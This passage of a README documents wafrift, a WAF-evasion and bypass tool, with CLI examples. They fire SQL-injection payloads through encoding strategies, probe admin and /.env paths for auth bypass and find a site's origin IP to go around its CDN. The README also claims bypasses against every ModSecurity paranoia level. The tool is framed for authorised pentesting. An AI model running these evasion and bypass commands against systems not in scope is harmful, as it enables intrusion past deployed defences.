R52 pass-14 I6 (CLAUDE.md §10 COHERENCE): exit codes 4 + 5 were undocumented prior to that round; CI scripts treating any non-zero as failure would misread them as infrastructure errors. R-hunt2 (§10 COHERENCE / claims-integrity): code `6` was entirely absent from this table while `scan` (`exit_code_for_verdict`, `crates/cli/src/scan/waf_bypass_verdict.rs`) and `diff h2` (`crates/cli/src/h2_diff_cmd.rs`) both emit it, and code `4` was scoped to `bench-waf --validate-only` only while `scan`/`exploit` also emit it — both gaps closed here. The `scan` verdict→exit mapping is the single source of truth (`exit_code_for_verdict`: timeout→7, rate-limit→5, then `bypass_confirmed`→0 / `waf_active_no_bypass`→4 / `waf_not_in_play`|`inconclusive`→6).

### Environment variables

R68 pass-21 (CLAUDE.md §10 COHERENCE): these five env vars are accepted by various subcommands but previously surfaced only in per-command `--help`. Pinning here so CI / pipeline operators can discover them.

| Variable             | Subcommand    | Purpose                                                                                       |
|----------------------|---------------|-----------------------------------------------------------------------------------------------|
| `WAFRIFT_BENCH_URL`  | `bench-waf`, `hunt` | Fallback bench target if `--base-url` is omitted. Useful for pipeline-local bench stacks. |
| `WAFRIFT_MODSEC_URL` | `bench-waf`   | Deprecated alias for `WAFRIFT_BENCH_URL`. Still honoured for backwards compatibility.         |
| `WAFRIFT_CORPUS`     | `bench-waf`   | Fallback corpus path if `--corpus` is omitted.                                                |
| `H1_API_KEY`         | `submit`      | HackerOne API token. Required by `wafrift submit --confirm`.                                 |
| `H1_USERNAME`        | `submit`      | HackerOne username. Required by `wafrift submit --confirm`.                                   |
| `WAFRIFT_REPLAY_AUTOEXEC` | `proxy` (yank) | If `1`/`true`, replay-curl files are bash-executed (operator opt-in; OFF by default).    |

### Live MITM dashboard (`wafrift-proxy --tui`)

Three tabs. Switch with `Tab` or `1`/`2`/`3` (or `f`/`o`/`h`).

- **Flow** — bounded ring of 500 requests with status-graded coloring (2xx green, 3xx cyan, 4xx yellow, 5xx red; outcome BYPASS green, BLOCK red, PASS white). `j`/`k` navigate, `g`/`G` jump first / last, `Enter` toggles a side detail pane (full request + response + technique chain). Two sparklines below: req/s and bypasses/s over 60 s.
- **Overview** — counters, TLS rotation gauge, WAFs identified.
- **Hosts** — per-host bypass table sortable by sent count, with bypass-rate color grading and the identified WAF column.
- `q` / `Esc` — graceful quit (flushes the gene bank).

### Fine-grained technique selection

Every encoding strategy and the grammar layer is addressable as a hierarchical path:

```bash
wafrift techniques list                                                # see the tree
wafrift evade --payload "' OR 1=1--" --only encoding/url
wafrift scan --target http://target.com --payload "' OR 1=1--" \
    --exclude encoding/url/triple,encoding/sql/comment
```

Unknown selectors fail fast — no silent drops.

### Differential bypass probing (`wafrift bypass-probe`)

For Tsai-class boundary-mismatch vulns (admin panel gated by WAF header rule, `X-Original-URL` rewrite, ProxyShell-style routing disagreement, IP-trust spoofing), point bypass-probe at the resource and let it fire the full 230-probe auth-bypass set plus path/method variants:

```bash
# Single URL
wafrift bypass-probe https://target/admin --concurrency 16

# Whole admin surface from a list
cat > paths.txt <<EOF
/admin
/api/admin
/.env
/actuator/env
/wp-admin
EOF
wafrift bypass-probe https://target --paths-file paths.txt \
    --concurrency 16 --min-severity medium --format json > findings.json
```

Honours server `Retry-After` via a shared deadline (jittered ±20%), surfaces `retry_after_responses` + `max_retry_after_obeyed_ms` in the report. Each divergence (status flip, body delta) is reported with a reproduce-it `curl` one-liner.

### WAF go-around: probe the origin directly (`unmask` → `smuggle-fire --origin-ip`)

When the WAF sits at the edge and the origin *trusts that edge* — an admin panel behind a hard 404, an IP-allowlisted backend, a gateway that injects identity headers — bypassing the WAF's *rules* isn't the win; reaching the origin *past* the edge is. Two steps:

```bash
# 1. Find the real origin IP behind the CDN/WAF (CT logs, DNS history,
#    SSL-cert SANs, favicon hashing, passive DNS).
unmask target.example.com
# 203.0.113.7   CONFIRMED   90% via ssl_cert

# 2. Fire the auth / trust-header probes straight at that origin while
#    keeping Host + SNI = target. The edge is bypassed at the connection
#    layer; the backend still sees the genuine Host and any trust headers.
wafrift smuggle-fire --target https://target.example.com/admin \
    --origin-ip 203.0.113.7 --family auth \
    --i-have-permission HACKERONE-1234
```

`--origin-ip` pins the target host to the discovered IP at the connector, so an origin that only trusts requests *arriving via its edge* becomes reachable directly — turning the 230-probe auth-bypass set into a direct-to-origin trust test.

### Burp / Caido / mitmproxy chaining

WafRift is a forward HTTP proxy and slots in next to any other intercepting proxy. Conventional layout:

```
Browser → Burp (8080) → wafrift-proxy (8181) → Target
                ▲                  ▲
                │                  └── applies WAF evasion (encoding,
                │                      CT switching, padding, fingerprint
                │                      rotation, MCTS) before forwarding
                │
                └── operator inspects/edits requests in Burp's UI as usual
```

Run wafrift-proxy on a different port and tell Burp to use it as the "Upstream Proxy Server" for the target host:

```bash
wafrift-proxy --listen 127.0.0.1:8181 \
  --content-type-switching \
  --max-rps-per-host 5 \
  --tls-impersonate-rotate chrome131,firefox133
```

In Burp: `User options → Connections → Upstream Proxy Servers → Add → Destination host: target.example.com, Proxy host: 127.0.0.1, Proxy port: 8181`. Caido: `Settings → Proxies → Upstreams`. mitmproxy: `mitmdump --mode upstream:http://127.0.0.1:8181`.

To replay a captured Burp request directly through wafrift's evasion pipeline (no proxy chain needed):

```bash
# Burp → right-click request → Copy as cURL → save to /tmp/req.curl
xclip -o > /tmp/req.curl

# Run wafrift's evasion engine against the captured request. Evasion
# is implicit when --payload is given; --format json emits NDJSON
# variant lines for piping into jq / a downstream scanner.
wafrift import-curl --curl-file /tmp/req.curl \
  --param id --payload "' OR 1=1--" \
  --level heavy --format json > /tmp/scan.json
```

CLI output is line-delimited JSON when `--quiet` is set, so it pipes cleanly into `jq`, `head`, `grep -m 1`, etc. (`SIGPIPE` is handled silently — no broken-pipe panics on `wafrift evade ... | head`.)

### Proxy scope, rate limit, live findings

```bash
# Only evade *.example.com on JSON API endpoints; skip login + static.
wafrift-proxy --listen 127.0.0.1:8080 --mitm \
  --only-host '*.example.com' \
  --skip-path '/static/*,/oauth/*,/login,/favicon.ico' \
  --only-method 'POST,PUT,PATCH,DELETE'

# Token bucket: 5 req/s per upstream host, burst of 10.
wafrift-proxy --listen 127.0.0.1:8080 --mitm \
  --max-rps-per-host 5 --max-rps-per-host-burst 10

# Live findings, loopback-only:
curl http://127.0.0.1:8080/_wafrift/findings.md   # markdown writeup
curl http://127.0.0.1:8080/_wafrift/status        # JSON (per-host stats)
```

Globs use a tiny ASCII grammar (`*` matches any run, `?` matches one byte, case-insensitive). `--skip-host`/`--skip-path` evaluate after their `--only-*` counterparts.

### Authorisation

`wafrift-proxy` refuses upstream targets in private / loopback / RFC1918 / link-local ranges by default; pass `--allow-private-upstream` only against lab targets you own. `wafrift replay` and `bypass-probe` send genuinely exploitable strings — see the [Lawful Use](#lawful-use--repository-responsibility) clause at the bottom of this README.

## Measured bypass rates

Live scoreboard: [`docs/SCOREBOARD.md`](./docs/SCOREBOARD.md) — refreshed nightly from CI; per-(WAF × payload-class) verified-bypass rate across ModSec PL1-4, Coraza, BunkerWeb, and naxsi. Every number below is reproducible from [`wafrift-bench/`](./wafrift-bench/); methodology in [`wafrift-bench/methodology.md`](./wafrift-bench/methodology.md); machine-readable JSON in `wafrift-bench/results/`.

**Target: ModSecurity + OWASP CRS.** Corpus: 557 cases across 10 attack classes (sql / xss / cmdi / ssti / path / ldap / xxe / ssrf / nosql / log4shell). 10 evasion strategies combined; oracle-gated (each "bypass" verified structurally as a valid attack, not garbage that slipped past).

| Paranoia | Variants sent | Bypassed | Rate | Cases ≥1 bypass |
|---|---:|---:|---:|---:|
| **PL=1** (default) | 46k | 16.7k | **36%** | **557 / 557 (100%)** |
| PL=2 | 60k | 17.6k | 29% | 557 / 557 (100%) |
| PL=3 | 60k | 17.3k | 28% | 557 / 557 (100%) |
| **PL=4** (most aggressive) | 60k | 16.3k | **27%** | **557 / 557 (100%)** |

**At every paranoia level — including PL=4, CRS's most paranoid preset — every single attack case in the corpus has at least one working bypass when the full strategy stack is applied with 60+ variants per case.** Once a working seed exists, the per-host gene bank (`~/.wafrift/genomes/`) replays it indefinitely.

> "557/557 cases bypassed" is a search-budget result, not a one-shot rate. The proxy alone (HTTP-layer evasion only) still gets blocked on a naked SQLi against PL=4; payload-byte mutation lives in `wafrift scan` / `wafrift bench-waf`. Worked example: [`docs/PRACTITIONER_WALKTHROUGH.md`](./docs/PRACTITIONER_WALKTHROUGH.md).

```bash
# Reproduce
git clone https://github.com/santhreal/wafrift && cd wafrift
wafrift-bench/scripts/up.sh modsec-pl4
cargo run --release -p wafrift-cli -- bench-waf \
    --base-url http://127.0.0.1:18084 \
    --corpus wafrift-bench/corpus \
    --evade --variants 20 \
    --strategies heavy,mcts,smuggling,content-type,redos,hill-climb,sim-anneal,tabu,novelty,map-elites,differential \
    --output repro.json
# Oracle gating is mandatory and always-on since R32; the historical
# `--oracle-gate` flag is a deprecated no-op (emits a warning if passed).
jq .evaded_summary repro.json
```

## How it compares

| Tool | Encoding | Grammar mutation | Smuggling | CT swap | Per-host learning | Forward proxy | Replay |
|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| sqlmap `--tamper` | partial | SQL only | – | – | – | via `--proxy` | – |
| Burp `nowafpls` | – | – | – | – | – | Burp ext. | – |
| Burp "Bypass WAF" | header tricks | – | – | – | – | Burp ext. | – |
| HTTP Request Smuggler | – | – | yes | – | – | Burp ext. | – |
| **WafRift** | **15+ strategies** | **SQL/XSS/CMD/SSTI/path/LDAP/SSRF** | **CL.TE / TE.CL / TE.TE** | **multipart/json/xml** | **gene-bank** | **standalone + MITM** | **deterministic** |

WafRift is the evasion layer you add when sqlmap / Burp / ffuf are blocked by a WAF — not a replacement. Once a working seed exists, the per-host gene bank replays it indefinitely: a Cloudflare scan starts with proven bypasses on every subsequent run, **zero discovery phase**. Grammar mutations are validated against `sqlparser-rs` AST equivalence, so SQL variants actually parse — most tampers ship broken payloads and don't know it.

## Architecture

```
wafrift
├── crates/
│   ├── types               # Core types: Request, Technique, EvasionResult
│   ├── encoding            # 15+ encoding strategies (URL, Unicode, HTML entity, chunked, …) + cookie & Authorization parser-differential smuggle (RFC 6265/7235)
│   ├── grammar             # Grammar-aware mutations (SQLi, XSS, CMD, SSTI, SSRF, LDAPi, path)
│   ├── content-type        # JSON / XML / multipart switching (WAFFLED) + multipart preamble/epilogue/nested-envelope smuggle (RFC 2046 §5.1.1)
│   ├── smuggling           # CL.TE / TE.CL / TE.TE / CL.0 / H2 desync + WebSocket permessage-deflate (RFC 7692) compression-bomb + context-takeover smuggle
│   ├── fingerprint         # UA / TLS JA3-JA4 / header-order rotation
│   ├── detect              # WAF fingerprinting (160+ WAFs via TOML rules, DNS CNAME, BGP ASN)
│   ├── evolution           # GA + MCTS + differential probing + body-padding
│   ├── wafmodel            # Active-learning WAF decompiler (L* / SFA / bypass mining)
│   ├── oracle              # Payload validity oracles (SQL, XSS, SSTI, CMDI, path, LDAP, SSRF)
│   ├── strategy            # Pipeline + gene bank + adaptive host state + ML-WAF evasion
│   ├── transport           # Evasion-aware HTTP client with auto-retry + stealth profiles
│   ├── proxy               # Forward proxy with per-host adaptive evasion + TUI
│   ├── pool                # Proxy pool rotation (HTTP/SOCKS5)
│   ├── recon               # Origin discovery via OSINT (CT logs, DNS history)
│   ├── genome-registry     # ed25519 genome signing + trust-list management
│   ├── graphql             # GraphQL-specific evasion payloads (alias bomb, op-name mismatch)
│   ├── http3-evasion       # HTTP/3 + QUIC protocol evasion (QPACK desync, 0-RTT, CID rotation, Capsule Protocol RFC 9297 smuggling, QUIC DATAGRAM RFC 9221 streamless smuggle)
│   ├── grpc-evasion        # gRPC/protobuf opaque-payload bypass
│   ├── plugin-api          # TOML + WASM external tamper plugin system
│   ├── captchaforge-bridge # Headless Chromium adapter for managed challenge solving
│   ├── core                # Façade re-exporting all crates under one namespace
│   └── cli                 # CLI + TUI (scan / evade / detect / attack / bypass-probe / …)
```

The proxy continuously learns: **discover → rotate (winners) → drift-detect → re-discover**. After ≥60% winners are found it stops rolling dice and round-robins the known-good chain; if a winner gets blocked 2× consecutively it's evicted; when all winners are evicted, full discovery restarts. Per-WAF state is persisted to `~/.wafrift/genomes/<waf>.json`:

```json
{
  "waf_name": "Cloudflare",
  "techniques": [
    {"name": "encoding::UnicodeEncode", "total_successes": 13, "total_attempts": 13},
    {"name": "tautology_swap",         "total_successes": 56, "total_attempts": 56}
  ],
  "targets_scanned": 3
}
```

## Library use

```toml
[dependencies]
wafrift-core = "0.2"
tokio = { version = "1", features = ["rt-multi-thread", "macros"] }
```

```rust
use wafrift_core::encoding::{self, Strategy};

let encoded = encoding::encode(b"' OR 1=1--", Strategy::UnicodeEncode)?;
```

Or pull individual crates — every public API has a runnable doctest on [docs.rs](https://docs.rs/wafrift-encoding):

```toml
wafrift-encoding  = "0.2"   # 15+ encoding strategies
wafrift-grammar   = "0.2"   # SQL/XSS/CMD/SSTI dialect mutations
wafrift-detect    = "0.2"   # WAF fingerprinting
wafrift-smuggling = "0.2"   # CL.TE / TE.CL / H2 desync
wafrift-evolution = "0.2"   # GA / novelty / MAP-Elites bypass search
wafrift-oracle    = "0.2"   # Response verdict classification
wafrift-strategy  = "0.2"   # Per-WAF evasion pipeline planning
```

The CLI's `scan` flow is `wafrift-strategy + wafrift-transport + wafrift-detect` — embed those directly if you need the same pipeline without the binary.

## Custom WAF detection

WAF signatures, evasion pipelines, and smuggling probes are TOML data in `rules/`. The 160+ vendor catalog is derived from [wafw00f](https://github.com/EnableSecurity/wafw00f) (BSD-3-Clause) + selective additions from [identYwaf](https://github.com/stamparm/identYwaf) (MIT) + locally researched entries; every TOML rule carries a `source` field pointing back at its origin. Adding a new WAF is five lines of TOML, no Rust knowledge:

```toml
# rules/detect/mywaf.toml
name = "MyWAF"
vendor = "Example Corp"
confidence_weight = 0.9

[[headers]]
name = "Server"
pattern = "MyWAF/\\d+"

[[body_patterns]]
pattern = "(?i)blocked by MyWAF"

evasions = ["encoding::unicode", "grammar::tautology_swap"]
```

Drop into `rules/detect/` and the detector loads it at startup.

## Roadmap

[docs/GAP_CLOSURE_ROADMAP.md](docs/GAP_CLOSURE_ROADMAP.md) tracks the phased work toward cloud-WAF parity (HTTP/2 + JA3 fingerprint, origin recon, scoreboard). Supporting docs: [docs/TLS_PARITY.md](docs/TLS_PARITY.md), [docs/PROXY_TOOLING.md](docs/PROXY_TOOLING.md), [docs/PRACTITIONER_WALKTHROUGH.md](docs/PRACTITIONER_WALKTHROUGH.md).

## License

Licensed under either of

- Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or <http://www.apache.org/licenses/LICENSE-2.0>)
- MIT license ([LICENSE-MIT](LICENSE-MIT) or <https://opensource.org/licenses/MIT>)

at your option.

### Contribution

Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.

## Lawful Use & Repository Responsibility

wafrift is dual-use security research software. It implements WAF
evasion techniques that, executed against systems you do not own or
have written authorisation to test, may violate computer-misuse law
(CFAA in the United States, Computer Misuse Act in the United Kingdom,
StGB §202c in Germany, equivalent statutes elsewhere). By downloading,
building, or running wafrift you agree:

1. **Authorisation is yours alone.** You will only run wafrift against
   systems you own, operate, or have explicit written authorisation to
   test: bug-bounty scope, signed pentest agreement, CTF rules, or
   lab infrastructure under your control. Verify scope before each
   engagement.
2. **Legal responsibility transfers to the operator.** The Santh
   Security maintainers, contributors, and the project itself accept
   no liability for traffic generated by, damages caused by, or legal
   exposure resulting from your use of the tool.
3. **Unauthorised use is out of scope of any support.** We will not
   help users bypass WAFs protecting systems they have no authorisation
   to interact with. Reports of misuse may be forwarded to the affected
   organisation's `abuse@` / legal channels.

Full clause and reporting workflow in [`SECURITY.md`](./SECURITY.md#lawful-use--repository-responsibility) and [`CODE_OF_CONDUCT.md`](./CODE_OF_CONDUCT.md#lawful-use--repository-responsibility).

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